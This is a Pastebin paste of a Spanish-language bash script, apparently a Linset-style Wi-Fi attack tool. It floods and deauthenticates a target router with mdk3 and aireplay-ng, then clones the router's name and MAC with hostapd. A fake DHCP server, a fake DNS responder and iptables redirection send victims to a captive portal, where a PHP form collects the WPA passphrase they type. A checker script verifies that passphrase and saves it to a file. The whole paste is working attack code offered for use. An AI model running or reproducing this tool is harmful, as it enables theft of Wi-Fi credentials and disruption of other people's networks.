Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- DUMP_CELESTIAL944444="/tmp"
- IP=192.168.1.1
- RANG_IP=$(echo $IP | cut -d "." -f 1,2,3)
- rm -rf /hostapd.psk
- rm -rf /hostapd.conf
- rm -rf /hostapd.psk
- touch /hostapd.psk
- touch /dhcpd.conf
- rm -rf /dhcpd.conf
- negro="\033[0;30m"
- rojo="\033[0;31m"
- verde="\033[0;32m"
- marron="\033[0;33m"
- azul="\033[0;34m"
- magenta="\033[0;35m"
- cyan="\033[01;36m"
- grisC="\033[0;37m"
- gris="\033[1;30m"
- rojoC="\033[1;31m"
- verdeC="\033[1;32m"
- amarillo="\033[1;33m"
- azulC="\033[1;34m"
- magentaC="\033[1;35m"
- cyanC="\033[1;36m"
- blanco="\033[1;37m"
- subrayar="\E[4m"
- parpadeoON="\E[5m"
- parpadeoOFF="\E[0m"
- resaltar="\E[7m"
- clear
- menu () {
- clear
- echo -e "\e[12m\e[40m\e[1m "$rojo"desbloquear wps por saturno\e[0m";
- echo
- echo " 1: buscar Redes wifi con wpa tkip \c"
- echo
- echo " 2: des bloquear wps \c"
- echo
- echo " 3: mini linset celestial \c"
- echo
- read choice
- case $choice in
- 1)scan;;
- 2)celestial44494;;
- 3)celestial4449444;;
- esac
- }
- scan () {
- # Coge todas las interfaces en modo monitor para detenerlas
- KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'`
- for monkill in ${KILLMONITOR[@]}; do
- airmon-ng stop $monkill >$celestial490444_output_device
- echo -n "$monkill, "
- done
- # Crea una variable con la lista interfaces de red fisicas
- readarray -t wirelessifaces < <(airmon-ng |grep "-" | awk '{print $1}')
- INTERFACESNUMBER=`airmon-ng| grep -c "-"`
- echo
- echo
- echo Autodetectando Resolución...
- echo $detectedresolution
- echo
- # Si solo hay 1 tarjeta wireless
- if [ "$INTERFACESNUMBER" -gt "0" ]; then
- echo "Selecciona una interface:"
- echo
- i=0
- for line in "${wirelessifaces[@]}"; do
- i=$(($i+1))
- wirelessifaces[$i]=$line
- echo -e "$verde""$i)"$rescolor" $line"
- done
- echo -n "#? "
- read line
- PREWIFI=${wirelessifaces[$line]}
- if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then
- conditional_clear
- setinterface
- fi
- readarray -t softwaremolesto < <(airmon-ng check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }')
- WIFIDRIVER=$(airmon-ng | grep "$PREWIFI" | awk '{print($(NF-2))}')
- rmmod -f "$WIFIDRIVER" &>$celestial490444_output_device 2>&1
- for molesto in "${softwaremolesto[@]}"; do
- killall "$molesto" &>$celestial490444_output_device
- done
- sleep 0.5
- modprobe "$WIFIDRIVER" &>$celestial490444_output_device 2>&1
- sleep 0.5
- # Selecciona una interface
- select PREWIFI in $INTERFACES; do
- break;
- done
- WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
- WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
- WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
- WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
- WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
- WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
- WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
- WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
- WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
- WIFI_MONITOR=$WIFIMONITOR
- # Establece una variable para la interface fisica
- WIFI=$PREWIFI
- # Cerrar si no detecta nada
- else
- echo No se han encontrado tarjetas Wireless. Cerrando...
- sleep 5
- exitmode
- fi
- echo "\n Por favor ingresa tu BSSID & ESSID & canal de la victima \n";
- gnome-terminal -e "airodump-ng --wps mon0 ";
- menu
- }
- celestial44494 () {
- DUMP_CELESTIAL944444="/tmp"
- IP=192.168.1.1
- RANG_IP=$(echo $IP | cut -d "." -f 1,2,3)
- echo
- read -p " nombre poner el nombre dela red : " nombre ;
- echo
- read -p " mac poner la direcciones MAC del router : " mac ;
- echo
- read -p " canal poner el canal de la víctima : " canal ;
- echo
- echo
- read -p " 1) para el celestial tiempo de - timeout 44s segundos - timeout 4m minutos : " pause1 ;
- echo
- read -p " 2) continuar celestial poner y tiempo de - sleep 54s segundos - sleep 4m minutos : " pause2 ;
- echo
- read -p " 3) pause mdk3 poner y tiempo de - timeout 44s segundos - timeout 4m minutos : " pause3 ;
- echo
- read -p " 4) continuar mdk3 poner y tiempo de - sleep 84 segundos - sleep 6m minutos : " pause4 ;
- echo
- xterm -e airodump-ng --wps -c $canal mon1 &
- xterm -e aireplay-ng mon2 -1 100000000 -a "$mac" -e "$nombre" &
- celestial44494 & PAUSE & MDK3 & CELESTIAL444490444;
- sleep 14m
- }
- celestial4449444 () {
- DUMP_CELESTIAL944444="/tmp"
- IP=192.168.1.1
- RANG_IP=$(echo $IP | cut -d "." -f 1,2,3)
- handshakecheck
- nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "$mac" | head -c 1)
- if [ "$fakeapmode" = "hostapd" ]; then
- ifconfig $WIFI down
- sleep 0.4
- macchanger --mac=$mac $WIFI &> $celestial490444_output_device
- sleep 0.4
- ifconfig $WIFI up
- sleep 0.4
- fi
- rm -rf /hostapd.psk
- rm -rf /hostapd.conf
- rm -rf /hostapd.psk
- touch /hostapd.psk
- touch /dhcpd.conf
- rm -rf /dhcpd.conf
- echo
- read -p " nombre poner el nombre dela red : " nombre ;
- echo
- read -p " mac poner la direcciones MAC del router : " mac ;
- echo
- read -p " canal poner el canal de la víctima : " canal ;
- echo
- read -p " 1) pause mdk3 poner y tiempo de - timeout 44s segundos - timeout 4m minutos : " pause344 ;
- echo
- read -p " 2) continuar mdk3 poner y tiempo de - sleep 84 segundos - sleep 6m minutos : " pause409444 ;
- echo
- xterm -hold -bg '#000000' -fg '#3A94FF' -e hostapd $DUMP_CELESTIAL944444/hostapd.conf &
- killall dhcpd &> $celestial490444_output_device
- xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -cf "$DUMP_CELESTIAL944444/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_CELESTIAL944444/clientes.txt" &
- xterm -hold -bg '#000000' -fg '#3A94FF' -e dhcpd -d -f -cf $DUMP_CELESTIAL944444/dhcpd.conf &
- killall $(netstat -lnptu | grep ":53" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $celestial490444_output_device
- xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e python $DUMP_CELESTIAL944444/fakedns &
- killall $(netstat -lnptu | grep ":80" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $celestial490444_output_device
- lighttpd -f $DUMP_CELESTIAL944444/lighttpd.conf &> $celestial490444_output_device
- chmod 777 $DUMP_CELESTIAL944444/lighttpd.conf
- killall aireplay-ng &> $celestial490444_output_device
- xterm -hold $TOPRIGHT -title "Esperando la wpa" -e $DUMP_CELESTIAL944444/handcheck &
- while : ; do
- xterm -e hostapd_cli wps_pbc ; sleep 120 ; done &
- while : ; do
- xterm -e wpa_cli wps_pbc $nombre ; sleep 120 ; done &
- sleep 4;
- until test -s /hostapd.psk; do
- sleep 1;
- done &
- celestial4449444 & CELESTIAL444490444 & CELESTIAL4444904440 & NEUTRA & handshakecheck & MDK39044449044;
- sleep 14m
- }
- function PAUSE {
- ( for (( i = 0; i < 10; i++ )); do
- echo $i
- time $pause2
- xterm -e killall -CONT celestial44494 & xterm -e $pause1 celestial44494 $IP -i mon3 -b $mac -R -vv &
- done )
- }
- function MDK3 {
- ( for (( i = 0; i < 10; i++ )); do
- echo $i
- time $pause4
- xterm -e killall -CONT mdk3 & xterm -e $pause3 mdk3 mon4 a -a $mac -m &
- xterm -e killall -CONT mdk3 & xterm -e $pause3 mdk3 mon5 a -a $mac -m &
- done )
- }
- function MDK39044449044 {
- ( for (( i = 0; i < 10; i++ )); do
- echo $i
- time $pause409444
- xterm -e killall -CONT mdk3 & xterm -e mdk3 mon6 $pause3444 a -a $mac -m &
- done )
- }
- function CELESTIAL4444904440 {
- # Genera el config de hostapd
- echo "interface=$WIFI
- driver=nl80211
- ssid=$nombre
- ieee8021x=1
- wpa=2
- hw_mode=g
- ieee80211n=1
- channel=$canal
- wpa_key_mgmt=WPA-PSK
- wpa_pairwise=CCMP
- wpa_passphrase=12345670
- wpa_psk_file=/hostapd.psk
- ctrl_interface=/var/run/hostapd
- eap_server=1
- wps_state=2
- ap_setup_locked=0
- uuid=87654321-9abc-def0-1234-56789abc0000
- wps_pin_requests=/var/run/hostapd.pin-req
- device_name=Wireless AP
- manufacturer=Company
- model_name=WAP
- model_number=123
- serial_number=12345
- device_type=6-0050F204-1
- os_version=01020300
- config_methods=label display push_button keypad
- pbc_in_m1=1
- friendly_name=WPS Access Point
- ">$DUMP_CELESTIAL944444/hostapd.conf
- # Crea el php que usan las ifaces
- echo "<?php
- error_reporting(0);
- \$count_my_page = (\"$DUMP_CELESTIAL944444/hit.txt\");
- \$hits = file(\$count_my_page);
- \$hits[0] ++;
- \$fp = fopen(\$count_my_page , \"w\");
- fputs(\$fp , \"\$hits[0]\");
- fclose(\$fp);
- // Receive form Post data and Saving it in variables
- \$key1 = @\$_POST['key1'];
- // Write the name of text file where data will be store
- \$filename = \"$DUMP_CELESTIAL944444/wpa.txt\";
- \$filename2 = \"$DUMP_CELESTIAL944444/status.txt\";
- \$intento = \"$DUMP_CELESTIAL944444/intento\";
- // Marge all the variables with text in a single variable.
- \$f_data= ''.\$key1.'';
- if ( (strlen(\$key1) < 8) ) {
- echo \"<script type=\\\"text/javascript\\\">alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()</script>\";
- break;
- }
- if ( (strlen(\$key1) > 63) ) {
- echo \"<script type=\\\"text/javascript\\\">alert(\\\"$DIALOG_WEB_LENGHT_MAX\\\");window.history.back()</script>\";
- break;
- }
- \$file = fopen(\$filename, \"w\");
- fwrite(\$file,\"\$f_data\");
- fwrite(\$file,\"\n\");
- fclose(\$file);
- \$archivo = fopen(\$intento, \"w\");
- fwrite(\$archivo,\"\n\");
- fclose(\$archivo);
- while(1)
- {
- if (file_get_contents(\"\$intento\") == 2) {
- header(\"location:final.html\");
- break;
- }
- if (file_get_contents(\"\$intento\") == 1) {
- header(\"location:error.html\");
- unlink(\$intento);
- break;
- }
- sleep(1);
- }
- ?>" > $DUMP_CELESTIAL944444/data/savekey.php
- # Se crea el config del servidor DHCP
- echo "authoritative;
- default-lease-time 600;
- max-lease-time 7200;
- subnet $RANG_IP.0 netmask 255.255.255.0 {
- option broadcast-address $RANG_IP.255;
- option routers $IP;
- option subnet-mask 255.255.255.0;
- option domain-name-servers $IP;
- range $RANG_IP.100 $RANG_IP.250;
- }
- " >$DUMP_CELESTIAL944444/dhcpd.conf
- echo "server.document-root = \"$DUMP_CELESTIAL944444/\"
- server.modules = (
- \"mod_access\",
- \"mod_alias\",
- \"mod_accesslog\",
- \"mod_fastcgi\",
- \"mod_redirect\",
- \"mod_rewrite\"
- )
- fastcgi.server = ( \".php\" => ((
- \"bin-path\" => \"/usr/bin/php-cgi\",
- \"socket\" => \"/php.socket\"
- )))
- server.port = 80
- server.pid-file = \"/var/run/lighttpd.pid\"
- # server.username = \"www\"
- # server.groupname = \"www\"
- mimetype.assign = (
- \".html\" => \"text/html\",
- \".htm\" => \"text/html\",
- \".txt\" => \"text/plain\",
- \".jpg\" => \"image/jpeg\",
- \".png\" => \"image/png\",
- \".css\" => \"text/css\"
- )
- server.error-handler-404 = \"/\"
- static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" )
- index-file.names = ( \"index.htm\" )
- #Redirect www.domain.com to domain.com
- \$HTTP[\"host\"] =~ \"^www\.(.*)$\" {
- url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" )
- }
- " >$DUMP_CELESTIAL944444/lighttpd.conf
- # Script que redirige todas las peticiones del DNS a la puerta de enlace (nuestro PC)
- echo "import socket
- class DNSQuery:
- def __init__(self, data):
- self.data=data
- self.dominio=''
- tipo = (ord(data[2]) >> 3) & 15 # 4bits de tipo de consulta
- if tipo == 0: # Standard query
- ini=12
- lon=ord(data[ini])
- while lon != 0:
- self.dominio+=data[ini+1:ini+lon+1]+'.'
- ini+=lon+1
- lon=ord(data[ini])
- def respuesta(self, ip):
- packet=''
- if self.dominio:
- packet+=self.data[:2] + \"\x81\x80\"
- packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' # Numero preg y respuestas
- packet+=self.data[12:] # Nombre de dominio original
- packet+='\xc0\x0c' # Puntero al nombre de dominio
- packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' # Tipo respuesta, ttl, etc
- packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # La ip en hex
- return packet
- if __name__ == '__main__':
- ip='$IP'
- print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip
- udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- udps.bind(('',53))
- try:
- while 1:
- data, addr = udps.recvfrom(1024)
- p=DNSQuery(data)
- udps.sendto(p.respuesta(ip), addr)
- print 'Respuesta: %s -> %s' % (p.dominio, ip)
- except KeyboardInterrupt:
- print 'Finalizando'
- udps.close()
- " >$DUMP_CELESTIAL944444/fakedns
- chmod +x $DUMP_CELESTIAL944444/fakedns
- }
- function CELESTIAL444490444 {
- ifconfig $WIFI up
- ifconfig $WIFI $IP netmask 255.255.255.0
- route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP
- echo "1" > /proc/sys/net/ipv4/ip_forward
- iptables --flush
- iptables --table nat --flush
- iptables --delete-chain
- iptables --table nat --delete-chain
- iptables -P FORWARD ACCEPT
- iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80
- iptables -t nat -A POSTROUTING -j MASQUERADE
- }
- # Crea el contenido de la interface web
- function NEUTRA {
- cp -r "data" $DUMP_CELESTIAL944444
- cp "index.htm" $DUMP_CELESTIAL944444
- chmod 777 $DUMP_CELESTIAL944444/index.htm
- }
- # Crear carpeta de trabajo
- if [ ! -d $DUMP_CELESTIAL944444 ]; then
- mkdir $DUMP_CELESTIAL944444 &>$celestial490444_output_device
- fi
- function matartodo {
- killall aireplay-ng &>$celestial490444_output_device
- kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$celestial490444_output_device
- killall hostapd &>$celestial490444_output_device
- killall hostapd2 &>$celestial490444_output_device
- killall lighttpd &>$celestial490444_output_device
- killall dhcpd &>$celestial490444_output_device
- killall xterm &>$celestial490444_output_device
- killall hostapd
- killall dhcpd
- killall xterm
- }
- # Funcion que limpia las interfaces y sale
- function exitmode {
- chmod 777 $DUMP_CELESTIAL944444/index.htm
- echo -e "\n\n"$blanco"["$rojo" "$blanco"] "$rojo"Ejecutando."$rescolor""
- chmod 777 $DUMP_CELESTIAL944444/savekey.php
- echo -e "\n\n"$blanco"["$rojo" "$blanco"] "$rojo"Ejecutando."$rescolor""
- chmod 777 $DUMP_CELESTIAL944444/lighttpd.conf
- echo -e "\n\n"$blanco"["$rojo" "$blanco"] "$rojo"Ejecutando."$rescolor""
- echo -e "\n\n"$blanco"["$rojo" "$blanco"] "$rojo"Ejecutando la limpieza y cerrando."$rescolor""
- if ps -A | grep -q aireplay-ng; then
- echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"aireplay-ng"$rescolor""
- killall aireplay-ng &>$celestial490444_output_device
- fi
- if ps -A | grep -q airodump-ng; then
- echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"airodump-ng"$rescolor""
- killall airodump-ng &>$celestial490444_output_device
- fi
- if ps a | grep python| grep fakedns; then
- echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"python"$rescolor""
- kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$celestial490444_output_device
- fi
- if ps -A | grep -q hostapd; then
- echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"hostapd"$rescolor""
- killall hostapd &>$celestial490444_output_device
- fi
- if ps -A | grep -q lighttpd; then
- echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"lighttpd"$rescolor""
- killall lighttpd &>$celestial490444_output_device
- fi
- if ps -A | grep -q dhcpd; then
- echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"dhcpd"$rescolor""
- killall dhcpd &>$celestial490444_output_device
- fi
- if ps -A | grep -q mdk3; then
- echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"mdk3"$rescolor""
- killall mdk3 &>$celestial490444_output_device
- fi
- if [ "$WIFI_MONITOR" != "" ]; then
- echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Deteniendo interface "$verde"$WIFI_MONITOR"$rescolor""
- airmon-ng stop $WIFI_MONITOR &> $celestial490444_output_device
- fi
- if [ "$WIFI" != "" ]; then
- echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Deteniendo interface "$verde"$WIFI"$rescolor""
- airmon-ng stop $WIFI &> $celestial490444_output_device
- fi
- if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then
- echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Restaurando "$gris"ipforwarding"$rescolor""
- echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding
- fi
- echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Limpiando "$gris"iptables"$rescolor""
- iptables --flush
- iptables --table nat --flush
- iptables --delete-chain
- iptables --table nat --delete-chain
- echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Restaurando "$gris"tput"$rescolor""
- tput cnorm
- if [ $CELESTIAL944444_DEBUG != 1 ]; then
- echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Eliminando "$gris"archivos"$rescolor""
- rm -R $DUMP_CELESTIAL944444/* &>$celestial490444_output_device
- fi
- echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Reiniciando "$gris"NetworkManager"$rescolor""
- service restart networkmanager &> $celestial490444_output_device &
- echo -e ""$blanco"["$verde"+"$blanco"] "$verde"Limpieza efectuada con exito!"$rescolor""
- exit
- }
- # Ajusta el Script en modo normal o desarrollador
- if [ $CELESTIAL944444_DEBUG = 1 ]; then
- ## set to /dev/stdout when in developer/debugger mode
- export celestial490444_output_device=/dev/stdout
- HOLD="-hold"
- else
- ## set to /dev/null when in production mode
- export celestial490444_output_device=/dev/null
- HOLD=""
- fi
- # Si se recibe un error, mostrar la liena mientras estemos en modo DEBUG
- if [ "$CELESTIAL944444_DEBUG" = "1" ]; then
- trap 'err_report $LINENO' ERR
- fi
- # Hacer clears si el modo es normal
- function conditional_clear() {
- if [[ "$celestial490444_output_device" != "/dev/stdout" ]]; then clear; fi
- }
- function handshakecheck {
- echo "#!/bin/bash
- echo > $DUMP_CELESTIAL944444/data.txt
- echo -n \"0\"> $DUMP_CELESTIAL944444/hit.txt
- echo "" >$DUMP_CELESTIAL944444/loggg
- tput civis
- clear
- minutos=0
- horas=0
- i=0
- while true; do
- segundos=\$i
- dias=\`expr \$segundos / 86400\`
- segundos=\`expr \$segundos % 86400\`
- horas=\`expr \$segundos / 3600\`
- segundos=\`expr \$segundos % 3600\`
- minutos=\`expr \$segundos / 60\`
- segundos=\`expr \$segundos % 60\`
- if [ \"\$segundos\" -le 9 ]; then
- is=\"0\"
- else
- is=
- fi
- if [ \"\$minutos\" -le 9 ]; then
- im=\"0\"
- else
- im=
- fi
- if [ \"\$horas\" -le 9 ]; then
- ih=\"0\"
- else
- ih=
- fi">>$DUMP_CELESTIAL944444/handcheck
- echo "
- wpa_passphrase $nombre \$(cat $DUMP_CELESTIAL944444/data.txt)>$DUMP_CELESTIAL944444/wpa_supplicant.conf &
- wpa_supplicant -i$WIFI -c$DUMP_CELESTIAL944444wpa_supplicant.conf -f $DUMP_CELESTIAL944444/loggg &
- if [ -f $DUMP_PATH/intento ]; then
- if grep -i 'WPA: Key negotiation completed' $DUMP_CELESTIAL944444/loggg; then
- echo \"2\">$DUMP_CELESTIAL944444/intento
- break
- else
- echo \"1\">$DUMP_CELESTIAL944444/intento
- fi
- fi
- ">>$DUMP_CELESTIAL944444/handcheck
- echo "readarray -t CLIENTESDHCP < <(cat $DUMP_CELESTIAL944444/clientes.txt | grep \"DHCPACK on\"| awk '!x[\$0]++' )
- echo
- echo -e \" CELESTIAL:\"
- echo -e \" clave wpa........: "$rojo"\$(cat $DUMP_CELESTIAL944444/hit.txt)"$rescolor"\"
- echo -e \" Clientes........: "$azul"\$(cat $DUMP_CELESTIAL944444/clientes.txt | grep DHCPACK | awk '!x[\$0]++' | wc -l)"$rescolor"\"
- echo
- echo -e \" CLIENTES:\"
- x=0
- for line in \"\${CLIENTESDHCP[@]}\"; do
- x=\$((\$x+1))
- echo -e \" "$verde"\$x) "$rojo"\$(echo \$line| cut -d \" \" -f 3) "$amarillo"\$(echo \$line| cut -d \" \" -f 5) "$verde"\$(echo \$line| cut -d \" \" -f 6)"$rescolor"\"
- done
- echo -ne \"\033[K\033[u\"">>$DUMP_CELESTIAL944444/handcheck
- echo "sleep 5
- killall wpa_supplicant &>$celestial490444_output_device
- killall wpa_passphrase &>$celestial490444_output_device
- let i=\$i+5">>$DUMP_CELESTIAL944444/handcheck
- echo "done
- clear
- echo \"1\" > $DUMP_CELESTIAL944444/status.txt
- sleep 7
- killall mdk3 &>$celestial490444_output_device
- killall aireplay-ng &>$celestial490444_output_device
- killall airbase-ng &>$celestial490444_output_device
- kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$celestial490444_output_device
- killall hostapd &>$celestial490444_output_device
- killall hostapd2 &>$celestial490444_output_device
- killall lighttpd &>$celestial490444_output_device
- killall dhcpd &>$celestial490444_output_device
- killall wpa_supplicant &>$celestial490444_output_device
- killall wpa_passphrase &>$celestial490444_output_device
- killall hostapd
- killall dhcpd
- killall wpa_supplicant
- killall xterm
- echo \"
- celestial $version por celestial
- SSID: $nombre
- BSSID: $mac ($mac_MODEL)
- Channel: $canal
- Time: \$ih\$horas:\$im\$minutos:\$is\$segundos
- Password: \$(cat $DUMP_CELESTIAL944444/data.txt)
- \" >$HOME/$nombre-password.txt">>$DUMP_CELESTIAL944444/handcheck
- echo "echo -e \"Se ha guardado en "$rojo"$HOME/$nombre-password.txt"$rescolor"\"">>$DUMP_CELESTIAL944444/handcheck
- echo "kill -INT \$(ps a | grep bash| grep celestial490444 | awk '{print \$1}') &>$celestial490444_output_device">>$DUMP_CELESTIAL944444/handcheck
- chmod +x $DUMP_CELESTIAL944444/handcheck
- }
- menu
- Status
- API
- Training
- Shop
- Blog
- About
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement